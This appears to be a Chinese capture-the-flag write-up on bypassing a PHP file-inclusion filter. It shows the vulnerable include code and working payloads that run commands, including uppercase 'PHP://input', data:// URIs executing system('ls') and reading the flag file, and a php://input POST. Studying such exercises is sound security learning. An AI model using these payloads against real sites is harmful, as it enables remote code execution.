0x01 函数分析
<?phpshow_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);?>
strstr():
定义和用法:搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分
,否则返回false。
strstr()区分大小写,stristr()函数不区分大小写
因此可以用大小写绕过
语法:
strstr(string,search,before_search)
string:必需,被搜索的字符串
search:必需,要搜索的字符串,若是数字
,则搜索对应的ASCII值的字符
before_search:可选,默认为“false”,若为true,将返回search参数第一次出现之前的字符串部分
//实例
<?phpecho strstr("helloworld","wor"),PHP_EOL;
echo strstr("helloworld","wor",true),PHP_EOL;
echostrstr("Helloworld!",111),PHP_EOL;//111ASCIIO
$a=strstr("Helloworld!",'ooo',true);
var_dump($a);
$b=strstr("Helloworld!",'ooo');
var_dump($b);
?>
world
hello
oworld!
bool(false)
bool(false)
str_replace():
定义和用法:以其它字符替换字符串中的一些字符(区分大小写)
0x02
文件包含的函数
include()
require()
include_once()
require_once()
highlight_file ()
show_source ()
readfile()
file_get_contents ()
fopen()file()
0x03
1.大小写绕过
strstr()函数是区分大小写的,因此PHP://input
2.换其他协议
data://
用法:data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
?page=data://text/plain,<?php system("ls") ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= //base64编码
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
需注意 <?system('cat fl4gisisish3r3.php');?> 的结果返回在页面源码中,需查看页面源码才能看 到。
3.php://input 抓包post请求
注:当 enctype=“multipart/form-data” 时,php://input 是无效的。
url: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
post: <?php phpinfo(); ?>